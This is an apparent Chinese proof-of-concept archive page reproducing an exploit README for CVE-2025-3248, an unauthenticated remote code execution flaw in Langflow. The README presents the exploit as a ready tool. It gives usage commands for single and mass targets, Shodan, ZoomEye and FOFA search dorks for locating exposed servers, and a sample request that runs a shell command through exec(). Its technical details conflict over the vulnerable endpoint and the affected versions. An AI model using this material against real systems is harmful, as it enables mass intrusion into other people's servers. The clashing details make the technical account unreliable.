关联漏洞
标题:
Langflow 安全漏洞
(CVE-2025-3248)
描述:Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。 Langflow 1.3.0之前版本存在安全漏洞,该漏洞源于/api/v1/validate/code端点存在代码注入漏洞,可能导致远程未经验证的攻击者执行任意代码。
描述
CVE-2025-3248 – Unauthenticated Remote Code Execution in Langflow via Insecure Python exec Usage
介绍
# CVE-2025-3248 – Unauthenticated Remote Code Execution in Langflow via Insecure Python exec Usage 🔥
# Overview 📃
CVE-2025-3248 is a critical unauthenticated remote code execution (RCE) vulnerability in Langflow, a popular low-code framework for building LLM applications. The flaw stems from the unsafe use of Python’s built-in exec() function to evaluate user-supplied input without sanitization. This allows attackers to execute arbitrary Python code on the server, completely compromising the underlying system.
+ CVE ID: CVE-2025-3248
+ Severity: Critical
+ CVSS Score: 9.8
+ EPSS Score: 92.57%
+ Published: May 22, 2025
+ Affected Versions: ≤ v1.3.0
+ Patched Version: v1.3.0+
# CVE-2025-3248 — Langflow RCE Exploit 🔥
Remote Code Execution (RCE) exploit for Langflow applications vulnerable to CVE-2025-3248.
Affected Endpoint: `/api/v1/validate/code`
# 🚀 Exploit Features:
+ 🔓 Remote & unauthenticated RCE
+ 🔐 No authentication required
+ 🐍 Python3 one-liner script
+ 🎨 Colorized terminal output for clarity
# 🔧 Usage:
```
python3 CVE-2025-3248.py -u http://target:7860 -c "id"
python3 CVE-2025-3248.py -i target.txt -c "id"
python3 CVE-2025-3248.py -i target.txt -c "id" -p http://127.0.0.1:8080
```
# 🔧 Dork:
```
Shodan:
http.title:"Langflow" "Langflow allows you to build LLM applications"
title:"Langflow"
ZoomEye:
title:"Langflow" && body:"Langflow allows you to build LLM applications"
app:"Langflow"
FOFA:
title="Langflow" && body="Langflow allows you to build LLM applications"
app="Langflow"
```
# 🌐 Technical Breakdown :
Langflow exposes a /api/v1/builder/execute_code endpoint that takes user-supplied Python code and passes it directly to exec() on the backend. Since there’s no authentication or sandboxing, attackers can craft arbitrary payloads for code execution.
```
POST /api/v1/builder/execute_code
Content-Type: application/json
{
"code": "import os; os.system('id')"
}
```
# 🦗 Vulnerable Code Snippet :
There is no sandbox, no ast.literal_eval, no subprocess control — just direct unsanitized execution of attacker input.
```
# langflow/api/builder/execute.py
exec(code) # No input validation or sandboxing
```
# ⚠️ Disclaimer :
For educational and research purposes only. Use only against systems you own or have permission to test...
文件快照
[4.0K] /data/pocs/139ba7cff9751f0fbc5d34cd17cecd2a59256638
├── [4.6K] CVE-2025-3248.py
└── [2.3K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。